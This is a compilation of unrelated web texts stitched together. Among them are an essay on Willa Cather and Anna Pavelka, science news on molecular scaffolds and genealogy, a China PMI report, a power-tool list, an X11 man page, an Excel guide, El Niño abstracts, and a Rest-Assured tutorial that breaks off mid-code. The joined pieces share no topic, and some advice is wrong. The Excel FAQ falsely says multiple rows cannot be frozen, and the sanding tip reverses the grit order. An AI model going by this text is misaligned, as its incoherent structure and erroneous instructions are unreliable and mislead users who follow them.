 In Cather's personal copy of My Ántonia, there is a folded up letter from Anna Pavelka written on December 22, 1918. It begins "Dear friend" and invites Cather to a dinner in honor ofthe wedding of her daughter Julia Pavelka, one of her ten children. Though Cather was in New York and unable to attend the dinner, she kept the short letter. It was written only a couple of months after the publication of the novel, and Cather no doubt stuck it in her copy of the book because the letter was from the woman who was the model for her central character, the woman she called the "real Antonia."
 My ÁntoniaAnna Pavelka was Willa Cather's inspiration for My Ántonia Anna Sadilek immigrated with her family from Bohemia to Webster County, Nebraska, in 1880 when she was about eleven years old. Cather met her a few years later, after moving from Virginia to Nebraska. One of the first stories Cather heard after she arrived was about Francis Sadilek, Anna's father. Mr. Sadilek was a weaver and musician who was overwhelmed by farming life, and he committed suicide soon after arriving in Nebraska. The story inspired an episode in My Ántonia, but also the plot of Cather's first published short story, "Peter."
Willa Cather on December 7, 1936Willa Cather on December 7, 1936 When she was a teenager, Anna Sadilek lived in Red Cloud, Nebraska, and worked for the Miner family. The Miners were near neighbors of the Cathers, and the children all played together. It was probably at the Miner house that Cather first met Anna Sadilek. Though they had very different lives and interests, they both had the self-assuredness and courage to think for themselves, and they became friends. Later, when she returned to Nebraska as an adult to visit her family, Cather often would visit Anna Sadilek—later Anna Pavelka—as well. She probably visited the Pavelkas in 1916 when she was back home and saw the huge family that Anna and her husband John had created. Shortly after this visit, perhaps directly inspired by it, Cather started writing her novel My Ántonia, a book that immortalized Anna Sadilek Pavelka as Ántonia Shimerda Cuzak, one of the most-loved characters in Cather's fiction.
Anna Pavelka's familyAnna Pavelka's family This letter, one of the very few letters between the two women that survive, is a response to a letter from Pavelka thanking Cather for a Christmas check that was used to purchase awashing machine. In the 1930s, when Cather's income was high, she often sent money to friends and family who were suffering in the depressed economy. She liked to send checks as well as boxes of food, clothes, and other things. She had special affection for the older women; she sent the Lambrecht family a box of food and made sure it included some Butternut coffee, as she knew Mrs. Lambrecht liked her coffee but went without when money was tight.
 Members of the Pavelka family continue to cherish gifts Cather sent to them. Anna Pavelka's descendants still wear a beaded necklace Cather is said to have given to her, and they point to it with pride when sharing the story of Cather's friendship with their Bohemian family.
Read the Letter to Annie Pavelka


text:
The latest news from academia, regulators
research labs and other things of interest
Posted: June 18, 2008
New research reports that 12 million molecules share 143 basic shapes
(Nanowerk News) Chemists in Ohio have discovered that half of all of the known chemical compounds in the world have an amazing similarity in sharing only 143 basic molecular shapes. That sharply limits the number of molecular building blocks that chemists often deploy in efforts to develop new drugs and other products, the researchers say in a study scheduled for the June 20 issue of the bi-weekly ACS' Journal of Organic Chemistry ("Structural Diversity of Organic Chemistry. A Scaffold Analysis of the CAS Registry").
A vast number of chemical compounds share 143 basic shapes, scientists report. (Image: Eric Shively)
Alan H. Lipkus and colleagues note that researchers have known for years that certain features of molecules, such as rings of atoms and the bonds than link them together, appear time after time in hundreds of life-saving medications, food additives, and other widely used products.
Scientists often tend to focus on these well-known types of molecular scaffolding in their quest to select the most promising rings, linkers, and other components for building new drugs while overlooking less familiar structures, the researchers say.
In the new study, they analyzed the chemical frameworks of more than 24 million organic substances found in the ACS' Chemical Abstracts Service (CAS) Registry, the world's most comprehensive database of disclosed molecules. They found that half of the substances could be described by only 143 basic framework shapes. By paying more attention to a multitude of other molecular shapes, chemists might discover an array of useful rings, linkers, and other building blocks for tomorrow's drugs and other medical, commercial, and industrial products, the study concluded

source: m-a-p/FineFineWeb


Researchers have Come Up with the Largest Family Tree Recorded so far
The newest family tree recorded by researchers compiles data that spans a length of over 500 years. This family tree links together over 13 million people spanning over 11 generations. This number of people is larger than the population of Belgium or the population of Cuba. Why is this family tree important? Well, this data is important because it reveals the set of migration patterns and how people married each other in North America and Europe.
How was this family tree created by researchers?
They used a large amount of data that was taken from one of the biggest genealogical websites. How much data can such a website contain? Well, this one had the complete records of over 86 million people and it is working on updating their data continuously. 85% of the profiles recorded on this website came from North America and Europe.
What did the author of the study have to say?
Yaniv Erlich, the author, said that this study provided a family tree that is completely unique. In order to compile this data, they used a mathematical form to calculate the validity of the information provided by the website.
They found that as time passed people stopped marrying their cousins and tried to find partners outside of their own families. Up to 1750 people would travel for a very short distance to seek their spouses and up to 1850 people would decide to marry their fourth cousins. This data contradicts recent evaluations and it shows that, in the present, members of society are more likely to seek partners that are not related to them and that live further away as well.
When talking about genes, the team of researchers analyzed data from 1600 up to 1910 and found that the gene combination influenced up to 16% the longevity of the individuals.
The main conclusion of this study is that, up to an extent, we are all related to one another, whether we realize it or not.
Related Posts


text:
Manufacturing Purchasing Managers' Index (PMI), an indicator of economic sentiment among Chinese manufacturing companies, fell below the critical level for the first time in 19 months. Caixin PMI, which measures how private manufacturers perceive the economy, rebounded slightly, but reached a critical point.
Due to the further spread of Covid-19, flooding and power shortages, downward pressure on the economy is increasing. Major economic forecasting agencies are lowering their economic growth forecasts for China year-on-year.
On September 30, the National Bureau of Statistics reported a PMI of 49.6. This figure is 0.5 points lower than the previous month's (50.1). It is the first time the figure has fallen below 50 since early last year, when the Covid-19 outbreak was just beginning. The forecast for the market was also 50.1.
Chinese Manufacturing PMI surveys 700 manufacturing companies in the country on five ranking indicators: new orders, production, shipments, inventories, and employment. When the index is greater than 50, manufacturing companies anticipate the economy expanding, and vice versa. Hence, dropping below 50 indicates a pessimistic outlook.
Power shortage in China
PMI fell mainly due to restrictions on electricity use, which are essential for manufacturing. According to Zhao Qinghe, senior statistician at the National Bureau of Statistics' Service Industry Research Center, "The September manufacturing PMI fell below the critical point due to the sluggish economy in energy-intensive sectors."
Meanwhile, the manufacturing employment index fell to 49 from 50 the previous month.
As Zhao Qinghe stated, "When we look at the main raw material price index, we find that total purchase costs are rising, with all industries having passed the critical point".
The non-manufacturing PMI, a measure of the service sector, rose to 53.2 from 47.5 last month.
Caixin says "demand is improving for the second consecutive month, but it is also contracting for the same reason,". "Quarantine control is preventing logistics and home consumption," Wang Zhe, chief economist at the think tank, noted. "The economy is still under downward pressure."


6 Must-Have Power Tools for the Serious Home Renovator
Whether it's converting an attic into a complete bedroom or installing new cabinets in the kitchen, home renovation projects are hard work. You must measure walls and corners, install fasteners, make adjustments and more. And if you make a mistake, you might be forced to start over. The right power tools, however, can streamline your renovation projects, allowing you to quickly and efficiently upgrade your home.
1. Cordless Drill
A cordless drill is an invaluable tool for serious home renovators. Typically featuring either a nickel-cadmium or lithium-ion rechargeable battery, their primary function is to bore pilot holes into wood and other materials. Most cordless drills support a variety of bits, so you can use them to insert screws into newly created pilot holes as well. Just remember to keep your cordless drill charged or invest in a backup battery.
2. Cordless Screwdriver
Many home renovators simply use a power drill to extract or insert screws. While this usually works, a cordless screwdriver is the preferred choice among serious renovators and builders because it performs fewer revolutions per minute. This makes them easier and more comfortable to use. Keep in mind that cordless screwdrivers aren't as powerful as cordless drills. Therefore, you shouldn't use them to drive screws into solid materials. Only use them to extract or insert screws.
3. Air Compressor
Some tools are designed to support the function of other tools. An air compressor, for example, is a versatile power tool that's used for pneumatic staple guns, nail guns, paint sprayers, water hoses and more. Without an air compressor, you won't be able to use any of these tools. Air compressors feature an electric or gasoline motor that compresses air to a specific pressure. While all air compressors perform this action, there are different available, including twin-stack, wheelbarrow and pan cake style.
4. Belt Sander
A belt sander will allow you to buff and refinish surfaces in your home renovation projects. This handheld, motorized power tool features two small cylinders on the bottom that hold sandpaper. When turned on, the sandpaper moves rapidly against any surface on which it's placed to remove the outer layer of material. After the outer layer has been removed, apply your surface preferred finish. You can use a belt sander to refinish floors, cabinets, doors and furniture. For most projects, it's recommended that you start with a high-grit sandpaper and gradually transition to a low-grit paper to achieve the smoothest finished texture.
5. Nail Gun
Also known as a nailer, a nail gun is a handheld power tool that drives nails into wood and other materials. Most nail guns are driven by compressed air though some use butane or other flammable gases. Regardless of type, all nail guns make driving nails into floors, walls and ceilings a breeze.
6. Circular Saw
A circular saw is a power tool that uses a circular, metallic disc to cut through material. Power supplied from either a connected electrical outlet or battery spin the metallic disc. When the spinning disc is placed against a surface, such as a 2-by-4, it creates a clean, smooth cut through the material. Without a circular saw or any other powered saw, you'll have to cut materials the old way: using a hacksaw. This is incredibly tedious and inefficient for home renovation projects, so add a circular saw to your toolbox.
For serious home renovators, a hammer and manual screwdriver isn't going to cut it. Invest in these power tools to streamline your renovation projects.
No comments yet
leave a comment


text:
The second step of the NOAA Integrated Ecosystem Assessment (IEA) approach includes identifying, selecting, and when needed developing, — indicators— that capture the status and trends of key ecosystem components defined in the first step of the approach. These indicators should be representative of the status and trends of the individual components (including biophysical, human activity, and community vulnerability and human well-being indicators), but collectively reflect the condition and trajectory of the relevant socio-ecological system (SES) when assessing the ecosystem as a whole (step three of the approach). Managers and stakeholders are engaged in the selection of indicators which is key to selecting indicators that will successfully support management decisions.
The third step of the NOAA IEA approach includes assessing the status of the ecosystem using the previously selected indicators. This is typically captured in Ecosystem Status Reports (ESRs), which are often also tailored for specific management partners (e.g. Fishery Management Councils; National Marine Sanctuaries).
Learn more about Ecosystem Status Reports and find each of the regional IEA's Ecosystem Status Reports here.
Indicators must be:
- scientifically rigorous
- understandable to and resonate with stakeholders
- sensitive to changes in the system
- trusted in the decision process
Benefits of Selecting Indicators and Assessing the Ecosystem
These indicators support all subsequent steps of the IEA approach (e.g. risk assessment and management strategy evaluation) and allow for adaptive management by providing the metric to assess progress towards meeting management objectives. The benefit of ESRs is they link information across indicators to give an integrated overview of ecosystem status relevant to marine resource management decision making.


XCMSDB(1) XCMSDB(1)
 xcmsdb - Device Color Characterization utility for X Color Management
 xcmsdb [ -query ] [ -remove ] [ -format 32|16|8 ] [ filename ]
 xcmsdb is used to load, query, or remove Device Color Characterization
 data stored in properties on the root window of the screen as specified
 in section 7, Device Color Characterization, of the ICCCM. Device
 Color Characterization data (also called the Device Profile) is an
 integral part of Xlib's X Color Management System (Xcms), necessary for
 proper conversion of color specification between device-independent and
 device-dependent forms. Xcms uses 3x3 matrices stored in the
 XDCCC_LINEAR_RGB_MATRICES property to convert color specifications
 between CIEXYZ and RGB Intensity (XcmsRGBi, also referred to as linear
 RGB). Xcms then uses display gamma information stored in the
 XDCCC_LINEAR_RGB_CORRECTION property to convert color specifications
 between RGBi and RGB device (XcmsRGB, also referred to as device RGB).
 Note that Xcms allows clients to register function sets in addition to
 its built-in function set for CRT color monitors. Additional function
 sets may store their device profile information in other properties in
 function set specific format. This utility is unaware of these nonstandard properties.
 The ASCII readable contents of filename (or the standard input if no
 input file is given) are appropriately transformed for storage in properties, provided the -query or -remove options are not specified.
 xcmsdb program accepts the following options:
 -query This option attempts to read the XDCCC properties off the
 screen's root window. If successful, it transforms the data
 into a more readable format, then sends the data to standard
 -remove This option attempts to remove the XDCCC properties on the
 screen's root window.
 -format 32|16|8
 Specifies the property format (32, 16, or 8 bits per entry) for
 the XDCCC_LINEAR_RGB_CORRECTION property. Precision of encoded
 floating point values increases with the increase in bits per
 entry. The default is 32 bits per entry.
 xprop(1), Xlib documentation
 DISPLAY to figure out which display and screen to use.
 Chuck Adams, Tektronix Inc. Al Tabayoyon, SynChromatics Inc. (added
 multi-visual support)
Man(1) output converted with man2html


How to Freeze a Row in Excel: Step-by-Step Guide for Beginners
Learning how to freeze a row in Excel is essential for keeping your headers visible while you scroll through large datasets. This simple feature will make your data analysis much easier by keeping important information right in front of you. Follow this straightforward guide to freeze a row in Excel with ease.
How to Freeze a Row in Excel
The following steps will guide you through the process of freezing a row in Excel to keep it visible while scrolling through your worksheet.
Step 1: Open Your Excel Workbook
Open the Excel workbook where you want to freeze a row.
Make sure your data is organized and you're ready to work. It's best to have a clear idea of which row you want to freeze before proceeding.
Step 2: Select the Row Below the One You Want to Freeze
Click on the row number just below the one you want to freeze.
For example, if you want to freeze row 1, then click on the number 2 on the left-hand side.
Step 3: Go to the View Tab
Navigate to the "View" tab at the top of the Excel window.
This tab hosts various options for how you view and interact with your worksheet, including the ability to freeze rows.
Step 4: Click on Freeze Panes
In the "View" tab, find and click on the "Freeze Panes" button.
Clicking this button will give you a dropdown menu with different options for freezing rows and columns.
Step 5: Select "Freeze Panes" from the Dropdown Menu
From the dropdown menu, select the "Freeze Panes" option.
Choosing this option will freeze the row above the one you selected, keeping it visible while you scroll.
After completing these steps, the row you selected will stay in place as you scroll up and down through the rest of your worksheet.
Tips for Freezing a Row in Excel
 - Ensure you have selected the correct row to avoid having to repeat the process.
 - You can also freeze columns by selecting the column to the right of the one you want to keep in view.
 - Use the "Unfreeze Panes" option to reverse the freezing process if needed.
 - Combine the freeze rows and columns feature to keep both your top row and first column in view simultaneously.
 - Use the "Freeze Top Row" or "Freeze First Column" options for a quicker way to freeze the first row or column specifically.
Frequently Asked Questions
How do I freeze both rows and columns at the same time?
Select the cell just below and to the right of the rows and columns you want to freeze and then use the "Freeze Panes" option.
Can I freeze multiple rows in Excel?
No, Excel only allows you to freeze the top row or a single area of rows and columns simultaneously.
What happens if I accidentally freeze the wrong row?
Simply go to the "View" tab, select "Unfreeze Panes," and then repeat the freezing process.
Is it possible to freeze panes in Excel for Mac?
Yes, the steps are similar for Excel for Mac. The "View" tab and "Freeze Panes" options are available in the Mac version of Excel as well.
Can I use keyboard shortcuts to freeze panes?
No, there are no direct keyboard shortcuts for freezing panes. However, you can use the Alt key to navigate through the menu options quickly.
Summary
 1. Open Your Excel Workbook
 2. Select the Row Below the One You Want to Freeze
 3. Go to the View Tab
 4. Click on Freeze Panes
 5. Select "Freeze Panes" from the Dropdown Menu
Conclusion
Understanding how to freeze a row in Excel can significantly simplify your work with large datasets. By keeping important headers or rows visible, you can better contextualize the information you're working with, thereby increasing your efficiency and accuracy. Whether you're a student managing homework data, a professional handling business statistics, or just someone trying to keep their household budget in check, this feature is a game-changer.
Don't forget to explore the additional tips and FAQs to enhance your Excel skills. With just a few clicks, you'll master freezing rows (and even columns) in no time. If you found this guide helpful, be sure to explore other Excel features that can further streamline your workflow. Excel offers a multitude of tools designed to make data management a breeze, so go ahead and make the most of them!


ResearchPad - el-niño-southern-oscillation _URL_ Default RSS Feed en-us © 2020 Newgen KnowledgeWorks <![CDATA[The 2015-2016 El Niño increased infection parameters of copepods on Eastern Tropical Pacific dolphinfish populations]]> _URL_ The oceanographic conditions of the Pacific Ocean are largely modified by El Niño (EN), affecting several ecological processes. Parasites and other marine organisms respond to environmental variation, but the influence of the EN cycle on the seasonal variation of parasitic copepods has not been yet evaluated. We analysed the relation between infection parameters (prevalence and mean intensity) of the widespread parasitic copepods Caligus bonito and Charopinopsis quaternia in the dolphinfish Coryphaena hippurus and oceanography during the strong 2015–16 EN. Fish were collected from capture fisheries on the Ecuadorian coast (Tropical Eastern Pacific) over a 2-year period. Variations of sea surface temperature (SST), salinity, chlorophyll a (Chl-a), Oceanic Niño Index (ONI), total host length (TL) and monthly infection parameters of both copepod species were analysed using time series and cross-correlations. We used the generalised additive models for determine the relationship between environmental variables and infection parameters. The total body length of the ovigerous females and the length of the eggs of C. bonito were measured in both periods. Infection parameters of both C. bonito and Ch. quaternia showed seasonal and annual patterns associated with the variation of environmental variables examined (SST, salinity, Chl-a and ONI 1+2). Infection parameters of both copepod species were significantly correlated with ONI 1+2, SST, TL and Chl-a throughout the GAMLSS model, and the explained deviance contribution ranged from 16%-36%. Our results suggest than an anomaly higher than +0.5°C triggers a risen in infection parameters of both parasitic copepods. This risen could be related to increases in egg length, female numbers and the total length of the ovigerous females in EN period. This study provides the first evidence showing that tropical parasitic copepods are sensitive to the influence of EN event, especially from SST variations. The observed behaviour of parasitic copepods likely affects the host populations and structure of the marine ecosystem at different scales.
]]>
<![CDATA[Impact of the 2015 El Niño-Southern Oscillation on the Abundance and Foraging Habits of Guadalupe Fur Seals and California Sea Lions from the San Benito Archipelago, Mexico]]> _URL_
The abundance of California sea lions (Zalophus californianus) (CSLs) and Guadalupe fur seals (Arctocephalus philippii townsendi) (GFSs) from the San Benito Archipelago (SBA) was determined through nine monthly surveys in 2014–2015. Assessment of their foraging habits was examined based on the isotopic analysis of pups (maternal indicators) (SIAR/SIBER-R). Environmental variability between 2014 and 2015 was also analyzed, in terms of sea surface temperature (SST) and chlorophyll (Chl-a) concentration. Both otariids reached their highest abundance in July of both years; however, relative to 2014, the 2015 survey showed a 59.7% decline in the total GFS abundance and a 42.9% decrease of GFS pups, while total CSL abundance decreased 52.0% and CSL pup presence decreased in 61.7%. All monthly surveys for both otariids showed a similar trend (>50% decrease in 2015). Compared to 2014, the 2015 GFSs isotopic niche was three times larger (2.0 in 2015, 0.6 in 2014) and the δ13C was significantly lower. CSLs also showed significantly lower δ13C and higher δ15N in 2015. Interannual segregation was greater for CSLs, and their pup body mass was also significantly lower during the 2015 breeding season (mean = 8.7 kg) than in the same season of 2014 (mean = 9.9 kg). The decrease in δ13C for both otariids reflected a more oceanic foraging; most likely associated with the decline in primary productivity in surrounding areas to the SBA, related to a higher SST caused by the 2015 ENSO, with a subsequent increase in foraging effort. These would explain the fewer observed individuals on land, especially pups, which showed diminished body condition (CSLs). This study highlights the importance of marine mammals as sentinel species that respond dynamically to changes in environment, providing valuable information on the effect of ENSO on pinnipeds in Mexican waters.
]]>
<![CDATA[A Picea crassifolia Tree-Ring Width-Based Temperature Reconstruction for the Mt. Dongda Region, Northwest China, and Its Relationship to Large-Scale Climate Forcing]]> _URL_
The historical May–October mean temperature since 1831 was reconstructed based on tree-ring width of Qinghai spruce (Picea crassifolia Kom.) collected on Mt. Dongda, North of the Hexi Corridor in Northwest China. The regression model explained 46.6% of the variance of the instrumentally observed temperature. The cold periods in the reconstruction were 1831–1889, 1894–1901, 1908–1934 and 1950–1952, and the warm periods were 1890–1893, 1902–1907, 1935–1949 and 1953–2011. During the instrumental period (1951–2011), an obvious warming trend appeared in the last twenty years. The reconstruction displayed similar patterns to a temperature reconstruction from the east-central Tibetan Plateau at the inter-decadal timescale, indicating that the temperature reconstruction in this study was a reliable proxy for Northwest China. It was also found that the reconstruction series had good consistency with the Northern Hemisphere temperature at a decadal timescale. Multi-taper method spectral analysis detected some low- and high-frequency cycles (2.3–2.4-year, 2.8-year, 3.4–3.6-year, 5.0-year, 9.9-year and 27.0-year). Combining these cycles, the relationship of the low-frequency change with the Pacific Decadal Oscillation (PDO), North Atlantic Oscillation (NAO) and Southern Oscillation (SO) suggested that the reconstructed temperature variations may be related to large-scale atmospheric-oceanic variations. Major volcanic eruptions were partly reflected in the reconstructed temperatures after high-pass filtering; these events promoted anomalous cooling in this region. The results of this study not only provide new information for assessing the long-term temperature changes in the Hexi Corridor of Northwest China, but also further demonstrate the effects of large-scale atmospheric-oceanic circulation on climate change in Northwest China.
]]>
<![CDATA[An Ecological Assessment of the Pandemic Threat of Zika Virus]]> _URL_
The current outbreak of Zika virus poses a severe threat to human health. While the range of the virus has been cataloged growing slowly over the last 50 years, the recent explosive expansion in the Americas indicates that the full potential distribution of Zika remains uncertain. Moreover, many studies rely on its similarity to dengue fever, a phylogenetically closely related disease of unknown ecological comparability. Here we compile a comprehensive spatially-explicit occurrence dataset from Zika viral surveillance and serological surveys based in its native range, and construct ecological niche models to test basic hypotheses about its spread and potential establishment. The hypothesis that the outbreak of cases in Mexico and North America are anomalous and outside the native ecological niche of the disease, and may be linked to either genetic shifts between strains, or El Nino or similar climatic events, remains plausible at this time. Comparison of the Zika niche against the known distribution of dengue fever suggests that Zika is more constrained by the seasonality of precipitation and diurnal temperature fluctuations, likely confining autochthonous non-sexual transmission to the tropics without significant evolutionary change. Projecting the range of the diseases in conjunction with three major vector species (Aedes africanus, Ae. aegypti, and Ae. albopictus) that transmit the pathogens, under climate change, suggests that Zika has potential for northward expansion; but, based on current knowledge, our models indicate Zika is unlikely to fill the full range its vectors occupy, and public fear of a vector-borne Zika epidemic in the mainland United States is potentially informed by biased or limited scientific knowledge. With recent sexual transmission of the virus globally, we caution that our results only apply to the vector-borne transmission route of the pathogen, and while the threat of a mosquito-carried Zika pandemic may be overstated in the media, other transmission modes of the virus may emerge and facilitate naturalization worldwide.
]]>
<![CDATA[The Value of Long-Term Stream Invertebrate Data Collected by Citizen Scientists]]> _URL_
The purpose of this investigation was to systematically examine the variability associated with temporally-oriented invertebrate data collected by citizen scientists and consider the value of such data for use in stream management. Variability in invertebrate data was estimated for three sources of variation: sampling, within-reach spatial and long-term temporal. Long-term temporal data were also evaluated using ordinations and an Index of Biotic Integrity (IBI). Through two separate investigations over an 11-year study period, participants collected more than 400 within-reach samples


text:
What leadership traits can we learn from wolves? In The Wisdom of Wolves author Twyman Towery shares the milieu of the wolf pack where teamwork, loyalty and communication are the norm rather than the exception. Whether it�s their traits of curiosity, perseverance, loyalty or play, wolves exist for the survival of the pack - a lesson humans can apply in business, family or personal relationships. The Wisdom of Wolves shows us that not only has the teamwork of the wolves among themselves been critical to their success, but the teamwork between humans and wolves has helped boost the life environment for both species. The Wisdom of the Wolves provides food for thought: The strength of the pack is the wolf and the strength of the wolf is the pack.
Simple Truths provides customers with inspirational and motivational gift books and movies. Our books and movies are comprised of short inspirational stories and motivational quotes that are certain to make a positive lasting impression. Simple Truths gift books and movies are great for friends & family, co-workers, teachers, students, corporations and businesses.


text:
The client, leveraged its key technologies such as adhesives and coating and expanded globally across various industries including electronics, automotive, housing, infrastructure, environmental, and medical. The company's R&D centre developed a point-of-care Microalbumin testing device. As part of its overall growth strategy, the client wanted to launch this device in India and in the UAE
The top management requested UC Strategy to "Develop a Market Entry Strategy for the point-of-care testing device" with the following strategic questions to be answered across UAE:
- What is the current physician prescription trends for point of care (POC) testing devices?
- What is the current market segmentation for the POC testing devices?
- What is the prescription behaviour of general physicians and their key purchase criteria or barriers to adoption for the same?
- What is current distribution structure and dynamics for the POC testing devices?
- What is the regulatory landscape governing the POC testing devices?
- What is the competitive landscape for the point-of-care microalbumin testing devices and what are the key success factors for the same?
- What should be its entry strategy in these markets (including route to market, in-house vs outsourced manufacturing, etc.)
In line with the above approach, the UC Strategy team conducted primary research with ~25 respondents in Dubai. Along with interviews with clinicians such as general physicians, diabetologists and specialists, UC Strategy also interviewed with personnel from the regulatory authority, insurance companies, diagnostic laboratories, manufacturers and pharmacies.
The client was provided with a synthesis of findings from the city of Dubai.


Date of Award
2008
Document Type
Master's Thesis
Degree Name
Master of Science in Mechanical Engineering (MS)
College, School or Department Name
Department of Mechanical Engineering-Engineering Mechanics
Advisor
Jeffrey Allen
Abstract
The area of microfluidics has increased in popularity with such fields as MEMS, microreactors, microscaleheat exchangers, etc. A comprehensive understanding of dissipation mechanisms for fluid flow in microchannels is required to accurately predict the behavior in these small systems. Tests were performed using a constant pressure potential created by two immiscible fluids juxtaposed in a microchannel. This study focused on the flow and dissipation mechanisms in round and square microchannels. There are four major dissipation mechanisms in slug flow; wall shear, dissipation at the contact line, menisci interaction and the stretching of the interface. A force balance between the internal driving potential, viscous drag and interface stretching was used to develop a model for the prediction of the velocity of a bislug in a microchannel. Interface stretching is a dissipation mechanism that has been included due to the unique system properties and becomes increasingly more important as the bislug decreases in length.
Share
COinS


What is the Underpinning process?
The underpinning process is a complex, highly specialized construction method that's vital for maintaining the strength and structural integrity of Melbourne buildings. This article will explain the underpinning process in Melbourne, and how important it is. Visit the page.
It is the primary objective of Underpinnings to reinforce a foundation in order to prevent it from shifting and becoming unsteady. A thorough structural evaluation is the first step in the process. This will identify any problems. Melbourne's unique geology and soil type pose challenges to underpinning experts.
Underpinning is performed after the evaluation. This involves the removal of portions of the base, and the installation new support systems. Mini-piled underpinning and mass concrete are two methods of underpinning. The foundation problem and construction needs will determine the method that is used.
Melbourne's climate plays an important role in foundation construction. Melbourne's engineers and architects must consider extreme temperature fluctuations as well as changes in moisture when choosing techniques or materials. It's vital that Melbourne's weather can be resisted by the foundations of any building.
Timing is crucial when it comes to underpinning. To minimize the groundwater intrusion, it's best to finish underpinning during the dry season. It is important to plan ahead in order to prevent delays.
After the underpinning is complete, you should monitor construction to make sure that everything is going well. Melbourne's varied soil conditions play a significant role in the post-underpinning monitoring.
In conclusion, Melbourne's construction industry and maintenance sector are dependent on underpinning. It is an essential but meticulous process. Underpinning is a process that addresses foundation issues to help ensure structural integrity and stability of buildings.
Leave a Reply
Your email address will not be published. Required fields are marked *


text:
(material transport by atoms motion,
movement of atoms from site to site, requires sufficient
vibration energy, can change structure in solids)
-atoms of one molecule diffuse into another,
concentration changes w/ time
– all atoms
exchanging positions are the same type, no change in
concentration, ex. metals.
flux does not change with time.
D(ΔC/Δx), D-const of proportionality [m
concentration gradient [kg/m
], x-distance [m], J-diffusion
=surface concentration, C
=concentration at depth 'x',
erf()=Gaussian error function.
Erf(1)=0.85, x=2sqrt(Dt), C~15%.
– species & temperature.
increases when T rises, atomic size, structure (activation
energy), phase change, cold work.
=temp-independent preexponential [m
energy [J/mol], R=gas const., T=abs temp.
movement of atoms;
– ion pairs move to preserve
electroneutality (long-term), single point defects may not
exist, cations diffuse quicker than anions;


text:
Fri, 05/27/2022 - 14:00 - Fri, 05/27/2022 - 15:00 -
The Armstrong Air & Space Museum will be hosting a special talk presented by Robert Fish of the USS Hornet - Sea, Air, and Space Museum based in Alameda, California. Fish will be presenting on Friday, May 27, at 2:00 PM in the museum's STEM Inspiration Center and will be discussing the Apollo 11 splashdown and recovery.
Commissioned during WWII, the USS Hornet was an Essex-class naval vessel best known for its use during the recovery operation of Apollo 11. After its service to the US Navy, the ship was repurposed into a museum, where guests can learn more about the ship's history and its participation in the Apollo 11 recovery. Robert Fish is a member of the board of trustees for the museum and has written a book on the Hornet and the NASA recovery operation.
Armstrong Air & Space Museum
500 Apollo Drive Wapakoneta, OH 45895
_PHONE_ or _PHONE_
Armstrong Air & Space Museum is Site #12 on the Aviation Trail


Fermilab's Search for Axions
img_lrg/axion_hunters.jpg not found
© Fermilab.
The GammeV experiment at Fermilab, shown here with two project scientists, is designed to detect axions. The experiment is an opportunistic use of a large magnet—the red rectangular object in the photograph—originally designed to be used in the Tevatron. The GammeV team realized that they could use the magnet to create axions, as it is theoretically possible for a photon from a laser beam in a strong magnetic field to turn into an axion. The scientists shine a green laser down the hollow center of the magnet and look for axions appearing at the other end of the experiment. (Unit: 10)


text:
Growing broccoli in the eastern United States has been a challenge due to a climate that stresses broccoli and the lack of a coordinated effort between sectors of the industry. As a result, 90 percent of broccoli sold in the east is shipped from California and Mexico.
But now, a Cornell-led team of industry and academic researchers seeks to develop a $100 million broccoli industry on the East Coast over the next 10 years with a grant from the U.S. Department of Agriculture (USDA).
The $3.2 million grant, with an additional $1.7 million in matching contributions from participating companies that will work on the project at their own expense, will help develop broccoli germplasm to suit eastern conditions, recruit farmers and organize networks for growers and distributors. Recent developments in broccoli breeding have made plants more tolerant to eastern heat and humidity, a major obstacle to growing broccoli in the East. The project will increase eastern U.S. production from isolated pockets to a regional year-round market for eastern consumers.
The project also aims to develop a more sustainable industry that responds to retailers' and consumers' desires for local products, reduces the high fuel costs and greenhouse gas emissions from trucking broccoli from the West Coast and conserves scarce western U.S. irrigation water.
The team includes the USDA, seven other universities and 11 companies, marking a collaboration between industry and academic researchers.
"Our assembled team of breeders, production specialists and market developers have the breeding stocks and expertise to develop an eastern broccoli industry," said Thomas Bjorkman, Cornell associate professor of horticulture and the project's principal investigator.
Other team members include Miguel Gomez, Cornell assistant professor of applied economics and management, who will find cost efficiencies for this industry and work with participating distributors to establish a distribution infrastructure; and Phillip Griffiths, Cornell associate professor of horticulture, who will select broccoli suited to eastern conditions and co-lead regional trials.
Once the right varieties have been developed, seed companies -- working closely with academic researchers -- will produce hybrid seed.
At the same time, extension educators from Cornell and other universities will organize local growers in each region into production networks that can deliver larger amounts with less risk and cost, and will develop production recommendations for them that reflect new varieties, and current economic and environmental conditions.
"We are simultaneously developing a grower base, distribution network and market," said Bjorkman. "Trying to do one part at a time is sure to fail. It is only by having a comprehensive team such as ours that we can make all the parts of the industry work," he added.


Reading an HTTP response
Course Home | Code Example
Now that we can use Rest-Assured to send an HTTP request, let's look at how we can use Rest-Assured to access an HTTP response body.
Extracting the response body
For this lesson we will continue to use the Let's take a look at the JSON body from the HTTP response:
 "firstname": "Susan",
 "lastname": "Ericsson",
 "totalprice": 378,
 "depositpaid": true,
 "bookingdates": {
 "checkin": "2018-11-23",
 "checkout": "2018-12-03"
 "additionalneeds": "Breakfast"
We're going to assert that the booking has Breakfast set as an additional need, so start by creating a new test adding the following code:
Response response = given().get("");
String responseBody = response.getBody().print();
assertThat(responseBody, containsString("Breakfast"));
The test starts very similar to the previous test we created, using Rest-Assured to send a GET request and storing that in a Response object. We then call getBody() to get the HTTP response body and then print() to convert it to a string.
Finally we are asserting that the response body contains a sub string of Breakfast which isn't a great way to assert the roomid. Partially because the assertion is brittle for example it won't handle data type changes well or if the value appears in other areas of the body. Plus what if we wanted to extract the value to use in a future HTTP request?
De-serialising a response body
When an HTTP request or response is sent it is sent as plain text. This means that when we receive the HTTP response in Rest-Assured, the response body is a String. However, we can use the technique of De-serialising to convert it from a String into a Java object that we can then use to extract specific values. It may sound a little odd, but follow the guide and you will see how it works:
First off, to get de-serialisation working we will need to add the following dependencies to our pom.xml
To make deserialisation work, we need to create a series of classes that match the structure of the JSON we want to deserialise. These types of classes are known as POJOs or Plain Old Java Objects.
We start by creating two new classes one called BookingResponse and one called BookingDates and add variables into the classes that match the name and type of each entry in the JSON we want to deserialise. For example firstname would be private String firstname:
private String firstname;
private String lastname;
private int totalprice;
private boolean depositpaid;
private BookingDates bookingdates;
private String additionalneeds;
As you can see the variable names match the names of the keys in the JSON body response and the data types match the data types of the values in the JSON object. Also, notice how bookingdates refers to the BookingDates class we created. This is because the bookingdates section in the body response is a sub object, so we have to create a class to match. So open up BookingDates and copy in the following:
private Date checkin;
private Date checkout;
Now we have the JSON body from the HTTP response mapped out in Java classes we can then add in methods to extract the data we need. So in the BookingResponse class add the following method in:
public String getAdditionalneeds() {
